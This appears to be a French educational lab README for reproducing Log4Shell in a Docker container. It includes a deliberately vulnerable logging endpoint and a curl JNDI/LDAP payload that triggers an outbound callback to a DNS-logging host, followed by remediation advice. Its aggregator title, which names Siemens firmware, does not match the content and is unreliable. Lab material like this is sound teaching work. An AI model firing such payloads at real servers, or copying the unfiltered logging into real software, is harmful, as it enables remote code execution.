Exploit for Expression Language Injection in Siemens 6Bk1602-0Aa12-0Tp0_Firmware CVE-2021-44228

## https://sploitus.com/exploit?id=343DF189-B690-5A0A-994F-6F4EE248FE1E
# 🔓 Démonstration de la vulnérabilité Log4Shell (CVE-2021-44228)

Ce projet est un **environnement de test contrôlé** permettant de reproduire et comprendre la faille critique **Log4Shell** (CVE-2021-44228) affectant la bibliothèque Apache Log4j.



---

## 📁 Architecture du projet

```
Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable
```

---

## 🎯 Objectif

Démontrer comment un attaquant peut exploiter la faille **CVE-2021-44228** pour forcer un serveur à effectuer une connexion réseau sortante non autorisée, simplement en envoyant une chaîne de caractères malveillante.

---

## 🔍 Analyse du code vulnérable

### 1. Gestion des dépendances (`pom.xml`)

Le fichier `pom.xml` force l'utilisation de **Log4j 2.14.1**, une version antérieure au correctif de sécurité :

```xml
2.14.1
```

Cette version contient la classe `JndiLookup` activée par défaut, qui est la **racine du problème**.

### 2. Application Java (`VulnerableApplication.java`)

L'application expose un service web REST. La vulnérabilité se situe dans la méthode `index` :

```java
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}
```

**Problème** : L'application récupère un paramètre utilisateur (`input`) et le passe directement à `logger.info()` **sans aucun filtrage**. Log4j interprète alors le contenu comme une commande potentielle.

### 3. Infrastructure Docker (`Dockerfile`)

Le Dockerfile utilise une construction en deux étapes :
- **Étape 1** : Compilation avec Maven (`maven:3.8.4-openjdk-11`)
- **Étape 2** : Exécution avec `eclipse-temurin:11-jre`

> 💡 L'utilisation de **Java 11** est pertinente car les versions plus récentes restreignent par défaut le chargement de classes distantes.

---

## ⚙️ Mécanisme de l'attaque

L'exploitation repose sur l'injection **JNDI** (Java Naming and Directory Interface) :

1. Log4j détecte la syntaxe `${jndi:protocole://url}` dans les logs
2. Il tente dynamiquement de se connecter à l'URL spécifiée
3. Dans un scénario réel, cela permet de télécharger et exécuter une classe Java malveillante (RCE)

---

## 🧪 Procédure d'exploitation étape par étape

### Étape 1 : Préparation

Assurez-vous que les fichiers suivants sont dans le même dossier :
- `Dockerfile`
- `pom.xml`
- `src/main/java/com/example/VulnerableApplication.java`

### Étape 2 : Construction de l'image Docker

```bash
docker build -t vulnerable-app .
```

Cette commande télécharge les dépendances Maven (Log4j 2.14.1) et crée l'image.

### Étape 3 : Lancement du conteneur

```bash
docker run -p 8080:8080 --name demo-log4j vulnerable-app
```

L'application écoute maintenant sur le port **8080**.

### Étape 4 : Préparation du témoin (Listener)

1. Rendez-vous sur un service de logging DNS :
   - [dnslog.cn](http://dnslog.cn)
   - [dnslog.org](https://dnslog.org/)
   - Burp Collaborator

2. Copiez l'adresse fournie (ex: `mon-test.dnslog.cn`)

### Étape 5 : Injection du payload

Dans un nouveau terminal, lancez la commande suivante :

```bash
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
```

> 📝 **Note** : Le caractère `\` sert à échapper le `$` dans le terminal.

### Étape 6 : Vérification

Retournez sur le site dnslog. Vous verrez une **requête DNS apparaître**, confirmant que le serveur a exécuté le code injecté.

---

## 📊 Résultat attendu

| Étape | Action |
|-------|--------|
| 1 | L'application Java reçoit la requête HTTP |
| 2 | La ligne `logger.info(...)` traite le paramètre `input` |
| 3 | Log4j détecte la syntaxe `${jndi:...}` |
| 4 | Log4j exécute la résolution LDAP vers le serveur distant |
| 5 | Une requête DNS apparaît sur l'interface DNSLog |

---

## 🚨 Conclusion

Le serveur a effectué une **connexion sortante vers une machine externe** simplement en loguant une requête utilisateur.

Dans un scénario réel, cette connexion aurait permis de :
- Télécharger une classe Java malveillante
- Exécuter du code arbitraire (RCE - Remote Code Execution)
- Prendre le **contrôle total du serveur**

---

## 🛡️ Remédiation

Pour corriger cette vulnérabilité :

1. **Mettre à jour Log4j** vers la version **2.17.1** ou supérieure
2. **Désactiver les lookups JNDI** : `-Dlog4j2.formatMsgNoLookups=true`
3. **Supprimer la classe JndiLookup** du classpath

---

## 📚 Références

- [CVE-2021-44228 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
- [Apache Log4j Security Vulnerabilities](https://logging.apache.org/log4j/2.x/security.html)
- [ANSSI - Vulnérabilité Log4Shell](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/)

---

## 📜 Licence

Ce projet est fourni **à des fins éducatives uniquement**. Utilisez-le de manière responsable et éthique.